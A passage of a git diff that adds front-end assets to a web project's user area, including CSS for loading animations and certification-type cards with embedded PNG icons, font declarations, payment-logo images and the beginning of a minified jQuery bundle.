infinite}.loading-dot:nth-child(1){-webkit-animation-delay:0s;-moz-animation-delay:0s;animation-delay:0s}.loading-dot:nth-child(2){-webkit-animation-delay:0.1s;-moz-animation-delay:0.1s;animation-delay:0.1s}.loading-dot:nth-child(3){-webkit-animation-delay:0.2s;-moz-animation-delay:0.2s;animation-delay:0.2s}.loading-dot:nth-child(4){-webkit-animation-delay:0.3s;-moz-animation-delay:0.3s;animation-delay:0.3s}@-webkit-keyframes loadingFade{0%{opacity:0}50%{opacity:0.8}100%{opacity:0}}@-moz-keyframes loadingFade{0%{opacity:0}50%{opacity:0.8}100%{opacity:0}}@keyframes loadingFade{0%{opacity:0}50%{opacity:0.8}100%{opacity:0}} \ No newline at end of file diff --git a/user/assets/css/certificate.css b/user/assets/css/certificate.css new file mode 100644 index 0000000..554242c --- /dev/null +++ b/user/assets/css/certificate.css @@ -0,0 +1,69 @@ +.certification_type{padding-top: 6.5px;} +.verified .row{padding:25px} +.verified .mt-step-col{padding:5px 5px 5px 30px;} +.verified .mt-step-col .mt-step-col-cont{background:#94aac5;color:rgba(255,255,255,.6);width:100%;border-radius:3px} +.verified .font-grey-cascade{padding-top:0;font-size:16px!important} +.verified .complete-active .mt-step-col-cont{background:#635ebe} +.verified .icon{color:#fff;position:absolute;top:10px;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);-o-transform:translateY(-50%);transform:translateY(-50%);left:20px;width:40px;height:40px;font-size:24px;line-height:40px;color:#fff;text-align:center;background:rgba(255,255,255,.1);border-radius:50%} +@media screen and (max-width:1200px) { + .verified .row { + padding: 15px; + } +} +.type-item { + padding: 50px 80px; + border: 1px solid #eff2f7; + display: flex; + flex-direction: column; + align-items: center; + border-radius:20px; +} + +.type-item a { + width: 100px; + white-space: nowrap; +} + +.type-icon { + width: 49px; + height: 36px; + margin-bottom: 1.5rem!important; + background-size: cover; +} + +.personal { + background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADoAAAAqCAYAAADibUizAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTQ1IDc5LjE2MzQ5OSwgMjAxOC8wOC8xMy0xNjo0MDoyMiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTkgKFdpbmRvd3MpIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjVEQzc4NzVDOEY2MzExRUE4RUNEQkVCQ0I5NzlBREU4IiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjVEQzc4NzVEOEY2MzExRUE4RUNEQkVCQ0I5NzlBREU4Ij4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6NURDNzg3NUE4RjYzMTFFQThFQ0RCRUJDQjk3OUFERTgiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NURDNzg3NUI4RjYzMTFFQThFQ0RCRUJDQjk3OUFERTgiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz44qZ6BAAAG8klEQVR42txa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"); +} + +.enterprises { + background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAApCAYAAABgDOogAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTQ1IDc5LjE2MzQ5OSwgMjAxOC8wOC8xMy0xNjo0MDoyMiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTkgKFdpbmRvd3MpIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjUzMTcxRjY2OEY2MzExRUFBRjZFOEI5MTE1RkU0QTQ2IiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjUzMTcxRjY3OEY2MzExRUFBRjZFOEI5MTE1RkU0QTQ2Ij4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6NTMxNzFGNjQ4RjYzMTFFQUFGNkU4QjkxMTVGRTRBNDYiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NTMxNzFGNjU4RjYzMTFFQUFGNkU4QjkxMTVGRTRBNDYiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6QjG2PAAAF3UlEQVR42txZ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"); +} + +.type-title { + font-size: 22px; + color: #333; + margin-bottom: 15px; + text-align: center; + white-space: nowrap; +} + +.type-desc { + color: #70757d; + text-align: center; + margin-bottom: 25px; + white-space: nowrap; +} + +.type-info { + margin-bottom: 40px; + white-space: nowrap; +} + +.type-info li { + font-size: 14px; + line-height: 40px; +} + +.type-info li i { + color: #007bfc; +} \ No newline at end of file diff --git a/user/assets/css/font.css b/user/assets/css/font.css new file mode 100644 index 0000000..8c49217 --- /dev/null +++ b/user/assets/css/font.css @@ -0,0 +1,18 @@ +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-weight: 300; + src: local('Source Sans Pro Light'), local('SourceSansPro-Light'), url('../fonts/sourcesanspro/sourcesanspro-light.woff') format('woff'); +} +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-weight: 400; + src: local('Source Sans Pro'), local('SourceSansPro-Regular'), url('../fonts/sourcesanspro/sourcesanspro.woff') format('woff'); +} +@font-face { + font-family: 'Source Sans Pro'; + font-style: normal; + font-weight: 700; + src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url('../fonts/sourcesanspro/sourcesanspro-bold.woff') format('woff'); +} \ No newline at end of file diff --git a/user/assets/fonts/sourcesanspro/sourcesanspro-bold.woff b/user/assets/fonts/sourcesanspro/sourcesanspro-bold.woff new file mode 100644 index 0000000..1da9934 Binary files /dev/null and b/user/assets/fonts/sourcesanspro/sourcesanspro-bold.woff differ diff --git a/user/assets/fonts/sourcesanspro/sourcesanspro-light.woff b/user/assets/fonts/sourcesanspro/sourcesanspro-light.woff new file mode 100644 index 0000000..b76e3ed Binary files /dev/null and b/user/assets/fonts/sourcesanspro/sourcesanspro-light.woff differ diff --git a/user/assets/fonts/sourcesanspro/sourcesanspro.woff b/user/assets/fonts/sourcesanspro/sourcesanspro.woff new file mode 100644 index 0000000..6809507 Binary files /dev/null and b/user/assets/fonts/sourcesanspro/sourcesanspro.woff differ diff --git a/user/assets/img/alipay.png b/user/assets/img/alipay.png new file mode 100644 index 0000000..003861d Binary files /dev/null and b/user/assets/img/alipay.png differ diff --git a/user/assets/img/alipay2.png b/user/assets/img/alipay2.png new file mode 100644 index 0000000..f73080f Binary files /dev/null and b/user/assets/img/alipay2.png differ diff --git a/user/assets/img/logo.png b/user/assets/img/logo.png new file mode 100644 index 0000000..ef1f858 Binary files /dev/null and b/user/assets/img/logo.png differ diff --git a/user/assets/img/p0.jpg b/user/assets/img/p0.jpg new file mode 100644 index 0000000..ab2fbc5 Binary files /dev/null and b/user/assets/img/p0.jpg differ diff --git a/user/assets/img/qqpay.png b/user/assets/img/qqpay.png new file mode 100644 index 0000000..da18f06 Binary files /dev/null and b/user/assets/img/qqpay.png differ diff --git a/user/assets/img/qqpay2.png b/user/assets/img/qqpay2.png new file mode 100644 index 0000000..e57426e Binary files /dev/null and b/user/assets/img/qqpay2.png differ diff --git a/user/assets/img/qr.png b/user/assets/img/qr.png new file mode 100644 index 0000000..e51aa29 Binary files /dev/null and b/user/assets/img/qr.png differ diff --git a/user/assets/img/user.png b/user/assets/img/user.png new file mode 100644 index 0000000..3e01021 Binary files /dev/null and b/user/assets/img/user.png differ diff --git a/user/assets/img/wxpay.png b/user/assets/img/wxpay.png new file mode 100644 index 0000000..23dc83c Binary files /dev/null and b/user/assets/img/wxpay.png differ diff --git a/user/assets/img/wxpay2.png b/user/assets/img/wxpay2.png new file mode 100644 index 0000000..226bbd2 Binary files /dev/null and b/user/assets/img/wxpay2.png differ diff --git a/user/assets/js/app.min.js b/user/assets/js/app.min.js new file mode 100644 index 0000000..94f4933 --- /dev/null +++ b/user/assets/js/app.min.js @@ -0,0 +1,4 @@ +if(!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){function c(a){var b=a.length,c=_.type(a);return"function"===c||_.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}function d(a,b,c){if(_.isFunction(b))return _.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return _.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(hb.test(b))return _.filter(b,a,c);b=_.filter(b,a)}return _.grep(a,function(a){return U.call(b,a)>=0!==c})}function e(a,b){for(;(a=a[b])&&1!==a.nodeType;);return a}function f(a){var b=ob[a]={};return _.each(a.match(nb)||[],function(a,c){b[c]=!0}),b}function g(){Z.removeEventListener("DOMContentLoaded",g,!1),a.removeEventListener("load",g,!1),_.ready()}function h(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=_.expando+h.uid++}function i(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(ub,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:tb.test(c)?_.parseJSON(c):c}catch(e){}sb.set(a,b,c)}else c=void 0;return c}function j(){return!0}function k(){return!1}function l(){try{return Z.activeElement}catch(a){}}function m(a,b){return _.nodeName(a,"table")&&_.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function n(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function o(a){var b=Kb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function p(a,b){for(var c=0,d=a.length;d>c;c++)rb.set(a[c],"globalEval",!b||rb.get(b[c],"globalEval"))}function q(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(rb.hasData(a)&&(f=rb.access(a),g=rb.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)_.event.add(b,e,j[e][c])}sb.hasData(a)&&(h=sb.access(a),i=_.extend({},h),sb.set(b,i))}}function r(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&_.nodeName(a,b)?_.merge([a],c):c}function s(a,b){var c=b.nodeName.toLowerCase();"input"===c&&yb.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}function t(b,c){var d,e=_(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:_.css(e[0],"display");return e.detach(),f}function u(a){var b=Z,c=Ob[a];return c||(c=t(a,b),"none"!==c&&c||(Nb=(Nb||_("